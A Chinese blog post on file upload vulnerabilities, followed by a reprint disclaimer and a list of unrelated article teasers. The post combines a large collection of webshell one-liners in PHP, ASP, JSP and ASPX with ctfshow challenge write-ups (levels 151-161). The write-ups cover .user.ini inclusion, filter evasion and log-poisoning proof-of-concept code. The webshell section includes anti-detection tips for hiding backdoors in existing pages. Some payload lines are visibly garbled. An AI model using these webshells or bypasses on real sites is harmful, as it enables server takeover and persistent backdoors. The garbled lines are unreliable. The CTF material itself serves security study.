文件上传的学习

news2024/12/25 0:54:20

文件上传漏洞

文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

webshell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。 WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录

一句话木马总结

php
##PHP:
<?php @eval($_POST['zzc']);?> 
<?php phpinfo();?>
<?php @eval($_POST[zzc]);?>
<?php @eval($_REQUEST[zzc]);?>
<?php assert($_REQUEST[zzc]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['zzc'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['zzc']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['zzc']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?>  php环境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容错代码 
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?>   上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 
无防下载表,有防下载表可尝试插入以下语句突破的一句话 

<%eval(request(“1″)):response.end%> 备份专用

asp
##ASP
<%eval(Request.Item["zzc"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 

<%execute(request(“1″))%> 

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话 

jsp
##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客户端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

aspx
##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 

<%eval request(chr(35))%>  不用双引号的一句话。

大致漏洞原理如下:


        在 WEB 中进行文件上传的原理是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上

文件上传后导致的常见安全问题一般有:

    1.上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代
    码执行;

    2.上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其
    他通过类似方式控制策略文件的情况类似);

    3.上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行:

    4.上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执
    行,被用于钓鱼和欺诈。

除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢出服务器的后台处理程序,如图片解析模块;或者上传-一个合法的文本文件, 其内容包含了PHP脚本,再通过“本地文件包含漏洞(Local File Include)"执行此脚本;等等。

思路

常规类

扫描获取上传,会员中心头像上传,后台系统上传,其他途径上传。

cms类

已知道的cms源码。

编辑类

ckeditor,fckeditor,kindeditor,xxxxeditor。

其他类/CVE

代码审计,平台或第三方应用。

web界面存在的风险点

  上传头像、上传身份认证、上传文件以及有存在文件上传的地方就可能存在相关的漏洞,但不是有文件上传就一定有漏洞,但有文件上传就能进行测试。


文件上传实战思路

  上传文件和文件执行是两个东西
  漏洞分类:解析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)
  思路:
  如果有一个网站,要从文件上传的方向开始
  第一步:先看中间件,看是否存在解析漏洞/CMS/编辑器漏洞/CVE/
  如果有,如何找:
    字典扫描:扫描会员中心,文件上传的位置,找到后,如何利用:验证/绕过

二次渲染:


1. 二次渲染原理:

    在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

2. 绕过:

    1、配合文件包含漏洞:
    将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。

    2、可以配合条件竞争:
    这里二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传

(知识点补充,【文件上传绕过】——条件竞争漏洞_条件竞争上传漏洞-CSDN博客)

实战部分(以ctfshow为例)

151

这里给的提示是前端校验不可靠,所以说,要从前端的代码入手

这里主要有两种思路:

1:

js防护:

JS防护就是将上传的文件进行一个格式的验证,但是JS类的防护是用户可以控制的,所以前端的所有验证都是不安全的。

所以这里选择,改掉这道题前端对文件类型的检测,例如:将允许上传的文件类型从JPG改成php。

2:

上传图片马,再用bp抓包将文件的后缀名改掉,但是明显有一点不符合题目要求,所以这里第二种不再展示

修改前端的代码以后,就可以成功上传一般的一句话木马了

连接,查看上一级目录发现flag文件

查看flag.php文件

得到flag

152

这里给的提示是后端校验

这里与前一题的思路不一样,前端文件的检测无法修改,所以尝试上传以后,改文件类型,即content type

经过测试,发现png格式类型是可以的,上传以后,改掉文件的后缀,就上传成功获得了路径

连接成功以后,发现根目录没有什么有用的信息

文件位置和上一题的位置是一样的,查看flag.php可以得到flag

153

和前面一题给的提示是一样的,所以这里尝试,改后端的文件类型

直接上传php文件显示文件类型不合规,尝试修改content-type上传不成功,上传php3
后缀服务器不能解析
尝试访问upload文件夹,发现upload文件夹有默认索引,具有index.php文件,那么可以利用.user.ini文件来进行上传

.user.ini文件其实就是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含

然后就是和上面一样的步骤来获得flag.php文件

154-155

这里是过滤了文件的内容

通过查看源码发现是php这一关键字被过滤

        大致步骤与153题一样。在上传的时候发现图片马上传不了,经过测试发现对图片内容中的php做了处理,那么在图片马中可以采用php其他风格得写法,如短标签等。具体可以参考PHP四种标记风格,通过更改,可以让参数成功上传,然后就可以通过传参查看flag.php

156

源码检测了php和[,采用短标记和大括号替代

157

上传.user.ini
在上传图片马得过程中,经过使用二分法对一句话木马的分析发现,后台代码对图片马内容中的关键字‘php’,'[]','{}'以及';'都进行了检测,这一关的性质就由文件上传转变为了任意代码执行,那么只好再次对木马文件进行伪装

php

<?= @eval(array_pop($_POST))?>

使用=短标签绕过php检测
@不提示报错信息
eval()把内容当作php语句执行
array_pop()将数组中最后一个元素取出并删除
使用$_POST接受任意变量
使用该文件并不能获取shell,只能通过POST提交数据进行代码执行

158

过滤多了一个log

159

过滤了括号,那就用反引号

160

日志空格检测

考点:后端内容校验 强限制 日志文件包含利用

首先要介绍一下php中include函数:

在php代码的进行过程中,遇到include函数就去跳转到包含的文件中进行读取,并显示在输出中,如果是php代码,会自动解析,如果不是,则单纯以文本的方式显示,示例如下:

在上传.user.ini配置文件时,经过测试发现多了对空格的检测。
POC:

bash

auto_prepend_file=1.png			.user.ini内容
<?=include"/var/lo"."g/nginx/access.l"."og"?>		1.png内容

其余操作与上一关一致,通过修改UA头将后门代码写入日志,然后连接后门(就是改ua头)

 

改完以后,传参得到flag

161

这里检测的是头文件类型,也就是说除了一开始文件类型检测,还要检测,头文件

直接传png文件的话,是检测不过的

.JPEG;.JPE;.JPG,”JPGGraphic File”

.gif,”GIF 89A”

.zip,”Zip Compressed”

.doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach

这里选择加GIF89A,即动图gif的文件头前缀

可以看到,上传成功,获得了相应的路径

ini文件也是一样的处理方法

和上一题一样访问index.php,修改ua头,在ua头中插入木马内容就可以了

就可以拿到flag了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2094972.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机毕业设计推荐-基于python的公司员工考勤管理系统

&#x1f496;&#x1f525;作者主页&#xff1a;毕设木哥 精彩专栏推荐订阅&#xff1a;在 下方专栏&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; 实战项目 文章目录 实战项目 一、基于python的公司员工考勤管…

电池点焊机设计要点记录及个人分析

想要设计的由来 有些电路板或动力元件需要电池和镍片的连接&#xff0c;虽然临时使用焊锡焊接在了一起&#xff0c;但焊接过程中的热量和焊接后的厚度太大。最终想要设计一个用于点焊的板子 点焊的原理和操作上的误区 原理&#xff1a;两个点焊笔和镍片的接触点直径相比于导…

Local GAP - Financial Statement Version 【海外BS\PL报表】

业务场景&#xff1a; 基于海外IFRS等会计准则为客户定义一套BS\PL报表 BS - 从科目余额抓取 PL - 从利润中心报表抓取 会计报表版本的建立&#xff1a; 路径&#xff1a;IMG>财务会计&#xff08;新&#xff09;>总账会计核算&#xff08;新&#xff09;主数据>总…

【电子通识】失效分析中的电测试技术——电阻测试方法及注意事项

失效分析通常需要对测试数据进行仔细的分析&#xff0c;因此&#xff0c;测试设备的数据准确性和可靠性是至关重要的基本要求。为了确保数据的准确性&#xff0c;失效分析所使用的测试设备需要进行定期计量。 测试设备选择 在测试电阻、电容和电感的设备中&#xff0c;最常见的…

watchdog: BUG: soft lockup

故障现象&#xff1a; 故障原因&#xff1a; 不知道。 解决办法&#xff1a; 由12个改成2个&#xff1b;然后重新开机虚拟机&#xff0c; 临时解决了。

使用Golang的协程竟然变慢了|100万个协程的归并排序耗时分析

前言 这篇文章将用三个版本的归并排序&#xff0c;为大家分析使用协程排序的时间开销&#xff08;被排序的切片长度由128到1000w&#xff09; 本期demo地址&#xff1a;https://github.com/BaiZe1998/go-learning 往期视频讲解 &#x1f4fa;&#xff1a;B站&#xff1a;白泽…

145. 利用 Redis Bitmap实践: 用户签到统计

文章目录 一、Redis Bitmap简介二、Bitmap 的主要应用三、Go使用Redis实现签到统计用户签到查询用户签到状态统计今年累计签到天数统计当月的签到情况 总结 在现代应用程序中&#xff0c;用户签到是一个常见的功能。我们通常使用 MySQL 数据库来存储用户的签到记录。然而&#…

c++11新特性-智能指针

1. 智能指针的概念及原理 1.1 什么是智能指针 智能指针RAII(Resource Acquisition Is Initialization)&#xff0c;是一种利用对象的生命周期来管理资源的技术。如果我们采用传统的new/delete来申请和释放资源&#xff0c;如果忘记调用delete&#xff0c;或者在调用delete之前…

World of Warcraft [CLASSIC][80][Grandel] Call to Arms: Arathi Basin

PVP战场阿拉希盆地15人 /i 开局队伍分配&#xff1a;圣骑士飙车光环 /i [铁匠铺]坦克、治疗3个、输出6个&#xff08;10人组&#xff09; /i [伐木场]坦克、治疗、输出2&#xff08;4个人组&#xff09; /i [农场]留一个守&#xff08;1个人组&#xff09; /i 不要恋战&#x…

如何准确物理定位EMC Unity存储的磁盘位置

上周收到一个客户的咨询&#xff0c;问题是想主动更换一个Unity存储的磁盘&#xff0c;但不知道这个盘具体在存储的什么位置&#xff0c;有没有命令或者方法准确找到这个磁盘的物理位置&#xff1f; 以前也碰到过过类似的问题&#xff0c;但大部分是来自VNX存储。在现场让客户…

ChatGPT-4o:多领域创新应用的智能助手

ChatGPT-4o&#xff1a;多领域创新应用的智能助手 前言1. 数学建模&#xff1a;ChatGPT-4o的精确计算1.1 专业术语简介1.2 代码示例&#xff1a;线性规划问题问题描述代码实现运行结果 2. AI绘画&#xff1a;ChatGPT-4o的视觉创造力2.1 角色设计示例&#xff1a;火焰魔法师角色…

Leangoo领歌敏捷管理:助力敏捷高效协作,轻松实现Scrum敏捷转型

在当今快速变化的商业环境中&#xff0c;企业面临着前所未有的挑战。如何在激烈的竞争中保持领先&#xff1f;如何快速响应市场需求&#xff1f;答案就在于敏捷转型。而在这一过程中&#xff0c;有一个高效的敏捷工具至关重要——Leangoo领歌&#xff08;Leangoo领歌 - 免费一站…

盛京银行营收、利润双降下的负重难行,症结在哪儿?

撰稿|芋圆 来源|贝多财经 盛京银行自2020开年始&#xff0c;经营业绩除了在2022年稍有回暖外&#xff0c;均处于营收、利润双降的局面。 2024年半年报显示&#xff0c;盛京银行的资产总额为10683亿元&#xff0c;规模较2023年末收缩1.1%&#xff1b;营业收入46亿元&#xff0…

【前缀和算法】--- 进阶题目赏析

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏&#xff1a; 算法Journey 本篇我们来赏析前缀和算法的进阶题目。 &#x1f3e0; 和可被K整除的子数组 &#x1f4cc; 题目解析 和可被k整除的子数组 &#x1f4cc; …

软件单元测试工程模版化

一、简介 在汽车领域混了这么多年也做了不少项目&#xff0c;发现很多公司对软件单元测试和代码覆盖率测试根本不重视&#xff0c;或者开发流程就没有单元测试这个流程。但是有的客户需要评审单元测试这个流程&#xff0c;需要有相关的单元测试报告和代码覆盖率统计的报告。如…

百度 AI Studio 脚本任务篇,它不同于notebook任务是支持免费的, 脚本任务是需要算力卡的,更好的算力 支持四张显卡,

aistudio 脚本任务是需要算力卡的&#xff0c;是收费的一个项目&#xff0c;估计是运行效率更高&#xff0c;支持4张显卡&#xff0c;同时计算。 # -*- coding: utf-8 -*- """ 空白模板 """ ###### 欢迎使用脚本任务&#xff0c;首先让我们熟悉…

计算机毕设选题推荐-基于python的豆瓣电子图书数据可视化分析

&#x1f496;&#x1f525;作者主页&#xff1a;毕设木哥 精彩专栏推荐订阅&#xff1a;在 下方专栏&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; 实战项目 文章目录 实战项目 一、基于python的豆瓣电子图书数…

插入排序代码实现(java)

简介&#xff1a; 也是一种简单的排序方法&#xff0c;其基本操作是将一条记录插入到已排好的有序表中&#xff0c;从而得到一个新的、记录数量增的有序表 说明&#xff1a; 拿一维数组来说&#xff0c;可以把第一个元素看成一个有序表&#xff0c;后面的元素看成无序表&am…

《中文Python穿云箭量化平台二次开发技术08》获取大盘涨跌家数、平均股价数据等来判断市场涨跌趋势,并在策略中自动控制多空交易

《中文Python穿云箭量化平台》是纯Python开发的量化平台&#xff0c;因此其中很多Python模块&#xff0c;我们可以自己设计新的量化工具&#xff0c;例如自己新的行情软件、新的量化平台、以及各种量化研究工具。 穿云箭自带指标公式源码运行模块&#xff0c;可以为其他量化平台…

莫比乌斯反演总结

目录 前置知识1.1 线性筛 (欧拉筛)1.2 整除分块 (数论分块)引理 1引理 2引理 3实现例 1例 2例 3例 4 1.3 数学知识积性函数莫比乌斯函数狄利克雷(Dirichlet)卷积 莫比乌斯反演2.1 公式2.2 常用~(唯一)~结论2.3 例题例 1例 2例 3例 4例 5练习 1练习 2练习 3练习 4 懵逼乌斯反演总…